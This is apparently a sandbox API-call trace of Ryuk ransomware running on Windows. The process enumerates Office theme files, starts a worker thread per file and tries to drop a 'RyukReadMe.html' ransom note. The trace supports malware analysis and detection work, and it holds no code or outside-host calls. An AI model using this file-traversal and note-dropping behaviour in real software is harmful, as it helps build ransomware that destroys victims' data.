	[0270.677] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0270.678] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1786e800, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1786e800, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe2a, dwReserved0=0x88, dwReserved1=0x0, cFileName="Horizon.xml", cAlternateFileName="")) returned 1
	[0270.678] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0270.678] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c88
	[0270.680] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0270.680] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3c3a200, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3c3a200, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xeed, dwReserved0=0x88, dwReserved1=0x0, cFileName="Median.xml", cAlternateFileName="")) returned 1
	[0270.680] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0270.681] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c8c
	[0270.682] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0270.682] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4f4cf00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4f4cf00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe13, dwReserved0=0x88, dwReserved1=0x0, cFileName="Metro.xml", cAlternateFileName="")) returned 1
	[0270.682] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0270.683] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c90
	[0270.685] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0270.686] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf625fc00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf625fc00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe05, dwReserved0=0x88, dwReserved1=0x0, cFileName="Module.xml", cAlternateFileName="")) returned 1
	[0270.686] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0270.687] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c94
	[0270.688] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0270.688] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18b81500, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18b81500, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe39, dwReserved0=0x88, dwReserved1=0x0, cFileName="Newsprint.xml", cAlternateFileName="NEWSPR~1.XML")) returned 1
	[0270.688] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0270.689] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c98
	[0270.691] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0270.691] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe70d00, ftCreationTime.dwHighDateTime=0x1c9b824, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefe70d00, ftLastWriteTime.dwHighDateTime=0x1c9b824, nFileSizeHigh=0x0, nFileSizeLow=0xe15, dwReserved0=0x88, dwReserved1=0x0, cFileName="Office 2.xml", cAlternateFileName="OFFICE~1.XML")) returned 1
	[0270.691] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0270.692] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c9c
	[0273.737] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0273.738] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe70d00, ftCreationTime.dwHighDateTime=0x1c9b824, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefe70d00, ftLastWriteTime.dwHighDateTime=0x1c9b824, nFileSizeHigh=0x0, nFileSizeLow=0xe01, dwReserved0=0x88, dwReserved1=0x0, cFileName="Office Classic 2.xml", cAlternateFileName="OFFICE~3.XML")) returned 1
	[0273.738] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0273.739] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c28
	[0273.740] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0273.740] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe70d00, ftCreationTime.dwHighDateTime=0x1c9b824, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefe70d00, ftLastWriteTime.dwHighDateTime=0x1c9b824, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0x88, dwReserved1=0x0, cFileName="Office Classic.xml", cAlternateFileName="OFFICE~2.XML")) returned 1
	[0273.740] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0273.741] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b44
	[0273.743] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0273.744] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7572900, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7572900, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe1d, dwReserved0=0x88, dwReserved1=0x0, cFileName="Opulent.xml", cAlternateFileName="")) returned 1
	[0273.744] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0273.744] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2bb8
	[0273.745] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0273.746] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8885600, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8885600, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe5a, dwReserved0=0x88, dwReserved1=0x0, cFileName="Oriel.xml", cAlternateFileName="")) returned 1
	[0273.746] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0273.747] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2cac
	[0273.748] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0273.748] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b98300, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9b98300, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xeed, dwReserved0=0x88, dwReserved1=0x0, cFileName="Origin.xml", cAlternateFileName="")) returned 1
	[0273.748] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0273.749] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2cb0
	[0273.750] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0273.751] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaeab000, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfaeab000, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe2c, dwReserved0=0x88, dwReserved1=0x0, cFileName="Paper.xml", cAlternateFileName="")) returned 1
	[0273.751] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0273.751] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c24
	[0273.753] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0273.753] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8079f00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8079f00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe0f, dwReserved0=0x88, dwReserved1=0x0, cFileName="Perspective.xml", cAlternateFileName="PERSPE~1.XML")) returned 1
	[0273.753] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0273.754] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2bb4
	[0273.755] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0273.755] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x938cc00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x938cc00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe7f, dwReserved0=0x88, dwReserved1=0x0, cFileName="Pushpin.xml", cAlternateFileName="")) returned 1
	[0273.756] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0273.756] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c34
	[0273.758] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0273.759] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b1a6f00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b1a6f00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe18, dwReserved0=0x88, dwReserved1=0x0, cFileName="Slipstream.xml", cAlternateFileName="SLIPST~1.XML")) returned 1
	[0273.759] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0273.759] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c3c
	[0273.760] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0273.761] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc1bdd00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc1bdd00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xee9, dwReserved0=0x88, dwReserved1=0x0, cFileName="Solstice.xml", cAlternateFileName="")) returned 1
	[0273.761] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0273.762] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c38
	[0273.763] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0273.763] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd4d0a00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd4d0a00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe13, dwReserved0=0x88, dwReserved1=0x0, cFileName="Technic.xml", cAlternateFileName="")) returned 1
	[0273.763] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0273.764] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c54
	[0273.765] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0273.766] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa69f900, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa69f900, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xeff, dwReserved0=0x88, dwReserved1=0x0, cFileName="Thatch.xml", cAlternateFileName="")) returned 1
	[0273.766] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0273.766] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b9af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c44
	[0273.767] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0273.768] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd4d0a00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd4d0a00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0x88, dwReserved1=0x0, cFileName="Trek.xml", cAlternateFileName="")) returned 1
	[0273.768] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0273.769] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4bd1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c40
	[0273.770] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0273.771] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe7e3700, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe7e3700, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe19, dwReserved0=0x88, dwReserved1=0x0, cFileName="Urban.xml", cAlternateFileName="")) returned 1
	[0273.771] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0273.771] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c08b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c48
	[0274.480] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0274.481] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffaf6400, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffaf6400, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe14, dwReserved0=0x88, dwReserved1=0x0, cFileName="Verve.xml", cAlternateFileName="")) returned 1
	[0274.481] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0274.481] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c50
	[0274.482] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0274.483] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b2600, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9b2600, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xdf9, dwReserved0=0x88, dwReserved1=0x0, cFileName="Waveform.xml", cAlternateFileName="")) returned 1
	[0274.483] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0274.484] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c4c
	[0274.484] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0274.485] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b2600, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9b2600, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xdf9, dwReserved0=0x88, dwReserved1=0x0, cFileName="Waveform.xml", cAlternateFileName="")) returned 0
	[0274.485] FindClose (in: hFindFile=0x7c7b0 | out: hFindFile=0x7c7b0) returned 1
	[0276.130] SetLastError (dwErrCode=0x0) 
	[0276.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\RyukReadMe.html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0276.374] GetLastError () returned 0x5
	[0276.374] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0276.374] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0276.374] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x334aca00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x334aca00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x2a23c, dwReserved0=0x62, dwReserved1=0x0, cFileName="Trek.thmx", cAlternateFileName="TREK~1.THM")) returned 1
	[0276.374] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.375] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b48
	[0276.376] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.377] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36de5100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x36de5100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xfc70, dwReserved0=0x62, dwReserved1=0x0, cFileName="Urban.thmx", cAlternateFileName="URBAN~1.THM")) returned 1
	[0276.377] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.378] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c30
	[0276.379] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0276.379] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a71d800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3a71d800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x12600, dwReserved0=0x62, dwReserved1=0x0, cFileName="Verve.thmx", cAlternateFileName="VERVE~1.THM")) returned 1
	[0276.379] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0276.380] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c2c
	[0276.381] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
